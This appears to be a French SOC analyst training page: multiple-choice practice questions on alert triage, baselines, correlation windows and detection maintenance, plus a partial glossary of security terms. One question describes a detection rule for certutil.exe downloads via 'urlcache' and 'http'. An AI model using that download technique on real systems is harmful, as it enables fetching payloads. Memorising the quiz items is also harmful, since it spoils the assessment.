  4. Confirmer le partage du compte d’après la vitesse apparente du déplacement
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 5 sur 10

Un analyste a besoin de l’activité des processus dans une machine virtuelle cloud, mais le flux disponible ne contient que des appels d’API de gestion des ressources. Quelle source manque ?
  1. Davantage d’événements d’API de gestion des ressources
  2. La télémétrie d’exécution de l’hôte ou de la charge de travail
  3. Un historique de facturation du compte plus long
  4. L’attribution actuelle de l’adresse publique de la machine virtuelle
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 6 sur 10

Un ticket approuvé autorise uniquement la création d’un compte. Le même auteur ajoute aussi le compte à un groupe imbriqué dans un groupe privilégié, puis le nouveau compte administre un serveur critique. Qu’est-ce qui nécessite une investigation ?
  1. Uniquement le nom du compte dont la création est approuvée
  2. Uniquement les changements directs du groupe privilégié parent
  3. Le privilège effectif ajouté et son utilisation
  4. L’heure de création sans le chemin d’appartenance
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 7 sur 10

Un rapport de connexion indique que l’authentification multifacteur a été satisfaite par un jeton existant, mais la session provient d’un réseau d’hébergement inconnu. Que devrait évaluer l’analyste ?
  1. Un rejeu possible du jeton et les actions ultérieures de la session
  2. Uniquement les tentatives de devinette avant l’émission du jeton
  3. Uniquement le résultat satisfait de l’authentification multifacteur
  4. Le déplacement physique déduit du lieu sans vérification du jeton
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 8 sur 10

Une identité de compilation utilise sa clé depuis une nouvelle origine, énumère des ressources avec de nombreux refus, crée un autre identifiant d’authentification et modifie la couverture de journalisation. Quelle appréciation relie le mieux ces éléments ?
  1. Un déploiement habituel suivi d’un changement de journalisation
  2. Une reconnaissance bloquée et une gestion de clé sans rapport
  3. Un vol de données confirmé suivi de la suppression de tout l’historique d’audit
  4. Une suspicion d’usage abusif d’identifiants, de reconnaissance et de persistance
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 9 sur 10

Un mot de passe de service récemment changé provoque des échecs réguliers depuis un serveur interne attendu, sans réussite ni motif plus large sur les comptes. Quelle cause bénigne faut-il tester en premier ?
  1. Une vaste pulvérisation de mots de passe sur les utilisateurs
  2. Un rejeu externe de jeton de session volé
  3. Un ancien identifiant d’authentification enregistré sur ce serveur
  4. Un attaquant enregistrant une nouvelle méthode d’authentification multifacteur
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 10 sur 10

Un utilisateur réinitialise un mot de passe volé. Plus tard, une application continue de lire les courriels grâce à un octroi de consentement créé pendant la session suspecte. Quel élément de preuve est essentiel pour évaluer cet accès persistant ?
  1. L’octroi de consentement et la portée d’accès de l’application
  2. Uniquement les connexions avec l’ancien mot de passe
  3. Uniquement la prochaine connexion interactive et son résultat multifacteur
  4. L’heure de réinitialisation comparée aux échecs ultérieurs de mot de passe
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Série 4 : Établis des références de fonctionnement et des règles de corrélation10 Questions Pratiques

Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.

Question 1 sur 10

Une équipe compare les accès d’un nouvel analyste de paie à ceux d’autres analystes de paie effectuant un travail semblable. De quel type de comparaison s’agit-il ?
  1. Une signature d’événement unique
  2. Une référence de fonctionnement fondée sur un groupe de pairs
  3. Un seuil de règle de détection d’absence
  4. Une correspondance de réputation
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 2 sur 10

Une règle doit détecter une source qui échoue sur de nombreux comptes différents. Quelle agrégation mesure le mieux ce motif ?
  1. Les totaux d’échecs par compte cible
  2. Les ports distincts par hôte de destination
  3. Les totaux de tous les événements par serveur d’authentification
  4. Les utilisateurs distincts regroupés par adresse source
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 3 sur 10

La moyenne de référence d’un serveur est de 12 Go par jour et son écart-type de 2 Go par jour. Aujourd’hui, il envoie 19 Go. Quel est son score z ?
  1. 3,5
  2. 7
  3. 9,5
  4. 2,5
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 4 sur 10

Un seuil exige 12 échecs par utilisateur en 6 minutes. Sept ont lieu de 14 h 04 à 14 h 05 et cinq de 14 h 07 à 14 h 08. Les blocs fixes vont de 14 h à 14 h 06 et de 14 h 06 à 14 h 12. Quelle évaluation conserve la règle par utilisateur et détecte cette rafale sans changer le seuil ?
  1. Des blocs fixes commençant à 14 h 01 et 14 h 07
  2. Les mêmes blocs fixes exécutés toutes les dix secondes
  3. Une fenêtre glissante de six minutes pour le même utilisateur
  4. Une fenêtre glissante regroupée uniquement par serveur
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 5 sur 10

Un export financier mensuel est signalé à répétition par rapport à une référence de jour ordinaire. Les données de référence sont complètes et la tâche est approuvée. Comment améliorer la comparaison ?
  1. Relever le seuil global de volume de chaque serveur
  2. Retirer toutes les observations futures de pics avant l’analyse
  3. Exempter tous les utilisateurs approuvés de la détection d’anomalies
  4. Utiliser des périodes de cycle d’activité équivalentes pour cette charge
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 6 sur 10

Une règle d’échecs suivis d’une réussite regroupe les échecs par utilisateur et par source. Une réussite a lieu depuis la même source pour un autre utilisateur. Complète-t-elle la séquence de cet utilisateur ?
  1. Oui ; la source seule relie la réussite ultérieure
  2. Non ; l’utilisateur et la source doivent identifier le groupe d’échecs
  3. Oui ; la réussite clôt le groupe d’échecs le plus proche dans le temps
  4. Non ; la réussite doit se trouver dans la fenêtre réservée aux échecs
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 7 sur 10

Pendant huit minutes, 40 sources échouent chacune une fois sur trois comptes différents ; aucun compte ne revient d’une source à l’autre. Chaque enregistrement indique l’application « staff-portal » et le client « cli-71 ». Les règles existantes par compte et par source restent silencieuses. Quelle conception peut révéler tout le motif ?
  1. Agréger par application, client et période sur les utilisateurs et les sources
  2. Regrouper par compte et application ; compter les adresses source distinctes
  3. Regrouper par source et application ; compter les comptes cibles distincts
  4. Regrouper par compte et source ; exiger une réussite ultérieure
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 8 sur 10

Une référence de fonctionnement a été entraînée pendant une compromission connue qui a duré un mois. Après le nettoyage, un transfert non autorisé récurrent paraît normal à ce modèle. Quelle correction est la plus pertinente ?
  1. Augmenter tous les scores de transfert en gardant la référence
  2. Garder les relations apprises et baisser uniquement les limites de volume
  3. Reconstruire le modèle avec des périodes de référence saines et représentatives
  4. Ajouter davantage d’historique de la période compromise
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 9 sur 10

Un collecteur livre deux fois le même événement d’authentification avec le même identifiant unique. Comment une règle fondée sur un décompte devrait-elle traiter ces livraisons ?
  1. Compter les deux enregistrements livrés
  2. Écarter les deux copies partageant l’identifiant
  3. Compter un événement après déduplication
  4. En compter deux si leurs heures d’arrivée diffèrent
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 10 sur 10

Une règle exige 6 échecs en 3 minutes, puis une réussite dans les 2 minutes pour le même utilisateur et la même source. Les enregistrements montrent quatre échecs distincts de 09 h 01 à 09 h 03 et une réussite à 09 h 04. La réussite arrive en premier ; deux échecs sont ensuite livrés deux fois chacun. Quel résultat la règle visée devrait-elle produire ?
  1. Alerte : six échecs livrés précèdent la réussite selon leur horodatage
  2. Pas d’alerte : quatre échecs distincts restent sous le seuil
  3. Pas d’alerte : la réussite est arrivée avant les échecs
  4. Alerte : des échecs suivis d’une réussite suffisent, quel que soit leur nombre
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Série 5 : Effectue le triage des alertes et détermine le périmètre des éléments de preuve10 Questions Pratiques

Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.

Question 1 sur 10

Un scanneur autorisé effectue exactement le comportement de balayage décrit par une règle pendant un test approuvé. Quelle catégorie de résultat correspond aux définitions de ce cours ?
  1. Correspondance faux positif
  2. Cas faux négatif
  3. Vrai positif bénin
  4. Cas vrai négatif
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 2 sur 10

Le titre d’une alerte affirme qu’une connexion privilégiée a réussi. L’événement brut associé indique un échec pour le compte nommé. Que devrait faire l’analyste en premier ?
  1. Valider la règle et l’analyseur à partir du résultat brut
  2. Accepter le titre et consigner un accès réussi
  3. Clôturer tout le dossier de l’utilisateur sans autre validation
  4. Relever la gravité sans modifier l’affirmation de réussite
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 3 sur 10

Un service de réputation ne possède aucun signalement pour un domaine observé pour la première fois aujourd’hui. Quelle conclusion correspond à ce résultat ?
  1. L’absence de signalement public établit que le nouveau domaine est sûr
  2. La première observation suffit à établir que l’infrastructure est malveillante
  3. L’absence de signalement établit que le programme qui le contacte est fiable
  4. La réputation reste indéterminée ; examine l’activité observée
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 4 sur 10

Une règle produit 160 alertes : 12 malveillantes, 100 correspondances à un comportement autorisé et 48 correspondances incorrectes. Elle manque aussi 4 cas malveillants découverts par des tests. Quels sont la précision des alertes et le rappel ?
  1. 25 % de précision et 75 % de rappel
  2. 7,5 % de précision et 75 % de rappel
  3. 7,5 % de précision et 92,5 % de rappel
  4. 75 % de précision et 7,5 % de rappel
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 5 sur 10

Une alerte de pulvérisation comprend des échecs vérifiés, une réussite ultérieure et un accès immédiat à des données sensibles. Une personne affirme qu’un test était prévu, mais aucun enregistrement d’autorisation n’est disponible ; le compte reste actif. Quelle est la meilleure action à suivre ?
  1. Clôturer comme test et noter que l’approbation était indisponible
  2. Procéder à l’escalade avec les preuves et l’affirmation de test non vérifiée
  3. Attendre une investigation complète de chaque compte
  4. Clôturer comme pulvérisation échouée et noter l’unique réussite
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 6 sur 10

Une recherche dans le proxy trouve six hôtes qui contactent une adresse. Les enregistrements de messagerie montrent 18 destinataires d’un document, mais aucune association entre destinataires et hôtes n’est disponible. Quelle affirmation sur le périmètre est justifiée ?
  1. Six destinataires l’ont exécuté ; douze l’ont seulement reçu
  2. Tous les destinataires l’ont exécuté ; six équipements ont établi un contact
  3. Douze destinataires ne sont pas touchés après le contact de six hôtes
  4. Six hôtes l’ont contactée ; l’exécution reste indéterminée
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 7 sur 10

Une alerte de balayage autorisé est prête à être clôturée. Quels éléments de preuve rendent la clôture reproductible ?
  1. La correspondance brute et sa référence d’approbation
  2. Le nom de l’analyste et la catégorie de clôture habituelle
  3. Le nom actuel du scanneur sans les horaires des événements
  4. La description de la règle et sa gravité par défaut
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 8 sur 10

Deux alertes arrivent : une correspondance de gravité élevée et de faible confiance sur un hôte de test isolé, et un usage abusif d’identifiants de gravité moyenne et de confiance élevée sur un serveur d’identité de production. Comment décider de l’ordre de traitement ?
  1. Utiliser d’abord la gravité, puis la confiance pour départager
  2. Utiliser uniquement la confiance sans le rôle de l’actif concerné
  3. Combiner la gravité, la confiance et la criticité de l’actif
  4. Utiliser uniquement la criticité de l’actif avant de vérifier la confiance
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 9 sur 10

Une feuille de calcul confidentielle est peut-être malveillante. Quelle vérification sur un service public limite le mieux une divulgation inutile ?
  1. La téléverser après avoir renommé le fichier
  2. Coller son contenu dans un agent conversationnel public
  3. Visiter les liens intégrés depuis l’ordinateur professionnel
  4. Rechercher son empreinte pour trouver une analyse existante
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 10 sur 10

Une note d’escalade indique « Compte compromis ; enquêter » et contient un lien vers une alerte. L’analyste actuel a vérifié une réussite et un export, mais n’a pas vérifié les autres comptes. Quel ajout améliore le plus la transmission du dossier ?
  1. Une synthèse horodatée des preuves avec le périmètre et les vérifications ouvertes
  2. Un historique complet présentant les actions non vérifiées comme confirmées
  3. Une affirmation selon laquelle les autres comptes ne sont pas touchés
  4. Une synthèse de l’objectif de la règle sans preuve de la session ni de l’export
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Série 6 : Conçois et maintiens des détections utiles10 Questions Pratiques

Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.

Question 1 sur 10

Qu’apporte principalement l’enregistrement des changements de règles dans un système de gestion de versions ?
  1. La confirmation automatique des alertes malveillantes
  2. La collecte garantie des champs absents des sources
  3. La prévention automatique de tous les faux négatifs
  4. Des changements traçables qui peuvent être examinés et testés
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 2 sur 10

Une sélection Sigma contient CommandLine|contains|all avec alpha et beta. Quel contenu de ligne de commande correspond à cette sélection ?
  1. L’un ou l’autre fragment apparaît dans la ligne de commande
  2. Les deux fragments apparaissent dans la ligne de commande
  3. Aucun des deux fragments n’apparaît dans la ligne de commande
  4. Seul le premier fragment apparaît
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 3 sur 10

Un balayage approuvé crée un bruit récurrent dans une règle de balayage de ports. Quelle exclusion a le périmètre justifié le plus limité ?
  1. Le sous-réseau et l’identité du scanneur pour toutes les règles de détection
  2. L’identité du scanneur et la règle pendant toutes les heures ouvrées
  3. L’identité, l’adresse, la règle et la fenêtre de scan du scanneur
  4. L’adresse du scanneur et toutes les règles pendant le jour de maintenance
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 4 sur 10

Une règle exige l’exécutable certutil.exe ET un texte de commande contenant à la fois « urlcache » et « http ». Elle exclut les événements uniquement lorsque user="svc-deploy" ET host="BUILD-02". A contient les deux fragments, svc-deploy, BUILD-02. B contient les deux fragments, svc-deploy, WS-31. C contient uniquement « urlcache », patel, WS-31. Les trois utilisent certutil. Quels événements correspondent ?
  1. B uniquement
  2. A et B
  3. B et C
  4. A uniquement
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 5 sur 10

Une règle produit 240 alertes, dont 18 malveillantes. Une exclusion limitée retire 120 correspondances autorisées tout en conservant les 18 alertes malveillantes observées. Quel résultat faut-il présenter ?
  1. 15 % de précision, 50 % de volume en moins ; tester les limites
  2. 7,5 % de précision, 50 % de volume en moins ; cas observés conservés
  3. 15 % de précision, 75 % de volume en moins ; conserver les cas testés
  4. 15 % de précision, 50 % de volume en moins ; rappel futur établi
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 6 sur 10

Une règle associée à une technique ATT&CK n’a jamais été exécutée sur la télémétrie locale. Qu’établit cette association ?
  1. La collecte locale de chaque champ nécessaire
  2. Le rejeu local réussi du comportement
  3. La technique que la règle vise à couvrir
  4. L’absence de toute lacune de couverture restante
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 7 sur 10

Après une mise à jour de l’analyseur, le nombre d’alertes chute fortement. La règle n’a pas changé ; son rejeu positif présente désormais un champ de ligne de commande normalisé vide. Quel diagnostic convient le mieux ?
  1. La précision des alertes de la règle s’est améliorée
  2. Le comportement de menace est devenu plus rare
  3. La vérification de la ligne de commande est inutile
  4. Le champ de données nécessaire a subi une régression
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 8 sur 10

Une règle recherche un outil par le nom exact de son fichier exécutable et détecte son nom d’origine. Un test avec une copie renommée ayant le même comportement est manqué. Comment traiter ce résultat ?
  1. Considérer le test d’origine réussi comme une couverture complète des variantes
  2. Documenter la limite et tester d’autres signaux comportementaux
  3. Élargir les associations de techniques en gardant la même logique
  4. Exclure les outils renommés malgré le besoin de détecter le comportement
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 9 sur 10

Une exclusion approuvée pour une courte migration reste active plusieurs mois plus tard sans responsable ni date de revue. Quelle action de maintenance est nécessaire ?
  1. La garder indéfiniment puisque son approbation initiale était valide
  2. Revoir si elle reste nécessaire et lui attribuer un responsable et une expiration
  3. La copier dans chaque nouvelle règle pour une suppression cohérente
  4. Relever tous les seuils pour que l’exception soit moins visible
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 10 sur 10

Une règle déclenche une alerte à 8 échecs en 5 minutes. Des tâches de synchronisation approuvées produisent 16 échecs de svc-sync sur SYNC-04 entre 01 h et 01 h 10. Des tests d’attaque produisent 8 échecs avec svc-sync depuis WS-14 à 01 h 05, et 14 depuis SYNC-04 à 03 h. Quel changement supprime le bruit approuvé tout en conservant les deux détections testées ?
  1. Exclure svc-sync sur tous les hôtes de 01 h à 01 h 10
  2. Exclure svc-sync sur SYNC-04 pendant toute la journée
  3. Exclure svc-sync sur SYNC-04 uniquement de 01 h à 01 h 10
  4. Relever le seuil à 16 échecs en 5 minutes
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Tu bloques sur ton propre exercice ? Aide aux Devoirs

Mots-Clés

106 Mots-Clés, chacun avec sa définition

A

Agrégation
L’agrégation combine plusieurs événements en un résumé, comme un décompte ou un total d’octets, ce qui réduit le volume tout en faisant perdre les détails individuels.
Un décompte des refus par minute économise de l’espace, mais ne peut pas remplacer les entrées brutes pour toutes les investigations.
Alerte
Une alerte est une notification indiquant que des événements observés correspondent à une règle de surveillance ou à une condition d’analyse et doivent être évalués.
Une alerte de balayage conduit l’analyste aux enregistrements de connexion à l’origine de la correspondance.
Algorithme de génération de noms de domaine
Un algorithme de génération de noms de domaine produit des noms de domaine candidats changeants pour les contacts d’un logiciel malveillant, causant souvent de nombreux échecs de résolution DNS.
Un poste interroge de nombreux domaines qui semblent générés et reçoit des réponses NXDOMAIN inhabituellement fréquentes.
Altération des dispositifs de surveillance
L’altération des dispositifs de surveillance modifie ou désactive la visibilité de sécurité, notamment en effaçant les journaux d’audit, en arrêtant les capteurs ou en affaiblissant les stratégies d’audit.
Un capteur arrêté suivi d’une forte baisse de télémétrie augmente l’urgence d’une alerte sur un hôte.
Analyse syntaxique
L’analyse syntaxique extrait des champs nommés du texte brut d’un journal ou d’enregistrements structurés afin que les recherches puissent filtrer, comparer, regrouper et compter les événements.
L’analyseur sépare un échec SSH en nom d’utilisateur, adresse source, port source et horodatage de l’événement.
Anomalie
Une anomalie est un écart important par rapport au comportement attendu qui nécessite une explication à partir du contexte de l’activité et du contexte métier.
Un transfert inhabituellement volumineux conduit l’analyste à vérifier sa destination et toute migration de données planifiée.
Appartenance à des groupes imbriqués
L’appartenance à des groupes imbriqués place un groupe dans un autre, permettant à ses membres d’obtenir des privilèges par un chemin d’appartenance indirect.
Ajouter un utilisateur à un groupe appartenant à Domain Admins peut accorder un accès étendu sans ajout direct.
Attaque par force brute
Une attaque par force brute consiste à essayer de deviner un mot de passe à répétition contre un compte ; elle est souvent visible sous forme d’une série concentrée d’échecs d’authentification.
Un nombre élevé pour un compte cible conduit l’analyste à examiner les sources et toute réussite ultérieure.
Auteur de l’action
L’auteur de l’action est l’identité qui effectue une action, distincte du compte, du groupe ou de la ressource modifié par cette action.
Le compte du support est l’auteur de l’action lorsqu’il ajoute un compte de service à un groupe privilégié.

B

Bail DHCP
Un bail DHCP attribue une adresse IP à un équipement pour un intervalle défini, ce qui permet de relier l’utilisation passée de l’adresse à cet équipement.
Le bail actif à 11 h 20 relie une requête du proxy à l’ordinateur portable qui détenait alors l’adresse.
Balayage horizontal
Un balayage horizontal explore le même port sur de nombreux hôtes cibles pour trouver les systèmes offrant un service réseau particulier.
Une source essaie le port 22 sur un sous-réseau de serveurs ; l’analyste vérifie donc si son rôle de balayage est approuvé.
Balayage vertical
Un balayage vertical explore de nombreux ports sur un hôte cible, produisant souvent de nombreuses petites tentatives de connexion refusées ou réinitialisées.
Un poste contacte 80 ports différents sur un serveur de base de données dans un court intervalle.
Base64
Base64 représente des octets à l’aide de caractères textuels, ce qui permet à des données comme des commandes encodées de circuler dans des champs textuels.
L’analyste décode les octets d’une commande PowerShell, puis les interprète comme du texte UTF-16LE.
Beaconing
Le beaconing est une communication répétée avec une destination de commande et contrôle, montrant souvent des requêtes semblables à intervalles réguliers ou variables.
De petits contacts nocturnes chaque minute conduisent l’analyste à vérifier le processus à leur origine et la destination.
Bourrage d’identifiants
Le bourrage d’identifiants consiste à essayer des paires de noms d’utilisateur et de mots de passe divulguées par d’autres services, en profitant de la réutilisation des identifiants.
Une campagne teste de nombreuses paires d’identifiants sur plusieurs comptes et adresses, avec quelques sessions réussies.

C

Catégorie de service
Une catégorie de service syslog indique la catégorie générale de la source encodée dans la valeur de priorité avec la gravité du message.
Diviser la priorité de <38> par huit donne la catégorie de service 4 avec un reste de gravité de 6.
Centile
Un centile marque un rang dans une distribution de référence ordonnée et aide à comparer une observation à l’étendue des valeurs historiques.
Un transfert supérieur au 99e centile de référence conduit à vérifier le contexte sans supposer une distribution des volumes en forme de cloche.
Chronologie
Une chronologie ordonne les événements pertinents selon des horodatages cohérents pour que l’analyste puisse relier les actions et distinguer les observations des hypothèses.
Une chronologie de transmission liste les échecs de connexion, une connexion réussie ultérieure et un accès à la boîte aux lettres en UTC avec les liens vers leurs éléments de preuve.
Cible
Une cible est le compte, le groupe, la ressource ou le paramètre touché par une action ; elle peut différer de l’identité qui l’effectue.
Dans un événement de création d’identifiant d’authentification, l’utilisateur cible apparaît dans les paramètres de la requête.
Clé de regroupement
Une clé de regroupement est le champ ou la combinaison de champs qui détermine quels événements appartiennent à un même agrégat ou à une même séquence.
Regrouper les échecs par source et compter les utilisateurs distincts révèle des tentatives étendues depuis une adresse.
Collecte par agent
La collecte par agent utilise un logiciel sur un hôte pour lire et transmettre ses journaux, souvent avec mise en tampon, filtrage et chiffrement.
Un agent d’hôte stocke les événements localement pendant une interruption du collecteur et les transmet après la reconnexion.
Common Event Format (CEF)
Common Event Format (CEF) combine un en-tête d’événement séparé par des barres verticales et des extensions clé-valeur pour échanger des événements de sécurité.
Un analyseur compatible CEF lit la signature et la gravité avant d’extraire les valeurs source et destination.
Consultation de réputation
Une consultation de réputation vérifie les signalements existants concernant une adresse, un domaine ou une empreinte pour ajouter du contexte sans remplacer l’analyse de l’activité.
Un signalement concernant un hébergement partagé conduit à d’autres vérifications, car un autre client peut en être à l’origine.
Corrélation
La corrélation relie des événements associés sur une période définie à l’aide d’attributs ou de motifs communs qui révèlent davantage qu’un seul enregistrement.
Des échecs suivis d’une réussite pour le même utilisateur et la même origine créent une séquence qui mérite examen.

D

Déclenchement d’alertes fondé sur le risque
Le déclenchement d’alertes fondé sur le risque combine les scores d’observations concernant une même entité sur une période définie et déclenche une alerte lorsque le score cumulé franchit un seuil.
Une connexion depuis un nouveau lieu et une utilisation inhabituelle des données contribuent à une seule alerte sur l’utilisateur au lieu de produire des alertes faibles distinctes.
Déduplication
La déduplication supprime les livraisons répétées d’un même événement afin que les nouvelles tentatives et les chevauchements de collecte ne gonflent pas les décomptes.
Un identifiant d’événement unique permet à la plateforme de compter un échec une seule fois malgré deux copies livrées.
Délai moyen de détection
Le délai moyen de détection mesure le délai moyen entre le début d’une activité malveillante et sa détection, à partir d’heures de début et de détection définies de façon cohérente.
Une équipe compare le délai de détection entre les versions tout en vérifiant que ses sources transmettent toujours.
Déplacement impossible
Un déplacement impossible est un motif de connexions dont les lieux apparents ne peuvent pas raisonnablement être rejoints dans le temps écoulé entre les événements.
Deux connexions éloignées déclenchent des vérifications des sorties VPN, des équipements, des résultats des sessions et de l’exactitude de la géolocalisation.
Déplacement latéral
Un déplacement latéral est le passage d’un attaquant entre des systèmes internes, souvent à l’aide de services à distance et d’identifiants d’authentification pour étendre son accès.
Des connexions RDP inattendues entre postes conduisent l’analyste à examiner les connexions sur les hôtes cibles.
Dérive de l’horloge
La dérive de l’horloge est un écart entre l’horloge d’un système et une référence de temps fiable qui peut fausser l’ordre des événements et leur corrélation.
Une horloge de serveur qui avance de sept minutes fait apparaître son événement de processus après l’activité réseau associée.
Détection et réponse sur les terminaux (EDR)
La détection et réponse sur les terminaux (EDR) collecte la télémétrie des hôtes et les détections concernant des activités comme les processus, les fichiers et les connexions.
L’EDR relie une connexion externe à l’interpréteur de script qui l’a initiée sur un poste.
Détection sous forme de code
La détection sous forme de code applique la gestion de versions, la revue et les tests automatisés aux règles afin que leurs changements soient traçables et reproductibles.
Un changement de seuil est examiné avec les preuves de ses tests avant le déploiement de la règle révisée.
Détermination du périmètre
La détermination du périmètre recherche les entités et activités associées pour évaluer l’étendue d’un problème suspecté au-delà de l’alerte initiale.
Un pivot à partir d’une destination trouve d’autres hôtes qui l’ont contactée ; leurs éléments de preuve d’exécution sont ensuite vérifiés.
Durée de conservation
La durée de conservation est la période pendant laquelle les journaux sont conservés, selon les besoins d’investigation et les obligations légales, réglementaires ou contractuelles applicables.
L’équipe exporte les enregistrements de connexion pour qu’une investigation puisse rechercher au-delà de l’historique par défaut du fournisseur.

É

Écart-type
L’écart-type mesure la dispersion des valeurs autour de leur moyenne et fournit la mesure de dispersion utilisée dans un score z.
La faible dispersion des transferts d’un serveur stable fait ressortir un téléversement soudain et volumineux dans sa référence de fonctionnement.
Événement
Un événement est un fait observable dans un système ou un réseau, comme une connexion, un nouveau processus ou une tentative de connexion.
Un hôte enregistre un événement de démarrage de processus lorsqu’un utilisateur ouvre un interpréteur de script depuis un document.

E

Encodage pour cent
L’encodage pour cent représente certains octets par un signe pour cent et deux chiffres hexadécimaux, qui doivent être décodés pour examiner le texte caché.
Le décodage de %27 révèle une apostrophe dans un paramètre de requête qui ressemble à une injection.
Enregistrement de flux
Un enregistrement de flux résume un échange réseau à l’aide des adresses, des ports, du protocole, des horaires, des paquets et des octets, sans charge utile.
Les enregistrements de flux montrent qu’un serveur a envoyé bien plus de données qu’il n’en a reçues pendant une session chiffrée.
Enrichissement
L’enrichissement ajoute du contexte à un événement, comme le responsable de l’actif, les privilèges du compte, la réputation de la destination ou l’attribution passée d’une adresse.
L’enrichissement par les données d’actifs révèle qu’une série d’échecs de compte de service provient d’un ordinateur portable du marketing.
Entropie de Shannon
L’entropie de Shannon mesure le caractère aléatoire des caractères d’une chaîne en bits par caractère et peut aider à identifier des noms qui semblent générés.
Des noms DNS à forte entropie conduisent à vérifier l’historique du domaine et le volume de requêtes, car des noms cloud peuvent leur ressembler.
Exclusion
Une exclusion retire un cas défini d’une règle et nécessite un périmètre limité, une raison documentée, un responsable et une date de revue.
Une exclusion pour un scanneur approuvé s’applique à une règle précise et à sa fenêtre de scan plutôt qu’à tout le réseau interne.
Exercice en équipe violette
Un exercice en équipe violette réunit des testeurs offensifs et défensifs pour vérifier si un comportement simulé pertinent produit des détections utiles.
L’exercice révèle qu’une mise à jour de l’analyseur a supprimé un champ nécessaire à une règle par ailleurs inchangée.
Exfiltration de données
L’exfiltration de données est le transfert non autorisé de données hors d’un environnement, qui peut se manifester par des destinations, des volumes ou des horaires inhabituels.
Une session nocturne d’un serveur de fichiers, dominée par les envois vers une nouvelle destination, conduit à vérifier les horaires de sauvegarde.
Expression régulière
Une expression régulière est un motif textuel utilisé pour trouver des chaînes correspondantes ou capturer des champs dans des entrées dont la structure est reconnaissable.
Un groupe facultatif dans une expression régulière traite à la fois les échecs SSH ordinaires et ceux qui indiquent un utilisateur invalide.

F

Fatigue liée à l’authentification multifacteur
La fatigue liée à l’authentification multifacteur consiste à soumettre un utilisateur à des demandes d’authentification répétées jusqu’à ce qu’une approbation puisse permettre à un attaquant de terminer une connexion.
Plusieurs demandes refusées suivies d’une approbation conduisent à vérifier les actions de la session obtenue.
Fatigue liée aux alertes
La fatigue liée aux alertes est une baisse de l’attention des analystes causée par des alertes répétées de faible valeur, qui rend l’activité réellement malveillante plus facile à manquer.
Regrouper les correspondances en double aide les analystes à se concentrer sur des cas distincts au lieu de clôturer plusieurs fois la même rafale.
Faux négatif
Un faux négatif est une activité malveillante que la surveillance ne détecte pas, souvent découverte plus tard lors de tests, d’une chasse ou d’un incident.
Une attaque lente par mot de passe reste sous un seuil relevé et est découverte plus tard pendant une chasse.
Faux positif
Un faux positif est une alerte qui identifie à tort le comportement que sa règle vise à détecter, comme une correspondance causée par une mauvaise analyse syntaxique.
Une association d’adresses inversée fait apparaître un trafic sans rapport comme un balayage effectué par un hôte interne.
Fenêtre glissante
Une fenêtre glissante évalue un intervalle récent mobile, ce qui permet d’examiner ensemble une rafale qui franchit des bornes horaires fixes.
Une recherche rétrospective de cinq minutes repère des échecs répartis entre deux blocs de compte rendu adjacents de cinq minutes.
Fournisseur d’identité
Un fournisseur d’identité authentifie les utilisateurs ou les charges de travail pour des services et peut centraliser les enregistrements de connexion de plusieurs applications.
Le journal du fournisseur d’identité relie la connexion réussie depuis un nouvel équipement à l’application consultée.

G

Gigue
La gigue est une variation du délai entre des contacts répétés, qui peut rendre le trafic de commande et contrôle moins manifestement régulier.
L’analyste prend en compte les motifs de contacts dont les horaires varient légèrement au lieu d’exiger des intervalles parfaitement égaux.
Gravité
La gravité décrit l’importance ou l’impact potentiel dans le système d’évaluation d’une source ou d’une règle ; son sens dépend de ce système.
Un échec d’authentification syslog de niveau Information peut tout de même faire partie d’une attaque par mot de passe.
Groupe de pairs
Un groupe de pairs comprend des utilisateurs ou des systèmes aux rôles semblables et permet des comparaisons lorsque l’historique propre d’une entité est limité.
L’accès aux données d’un nouvel utilisateur de la finance est comparé à celui d’autres employés de la finance effectuant le même travail.

H

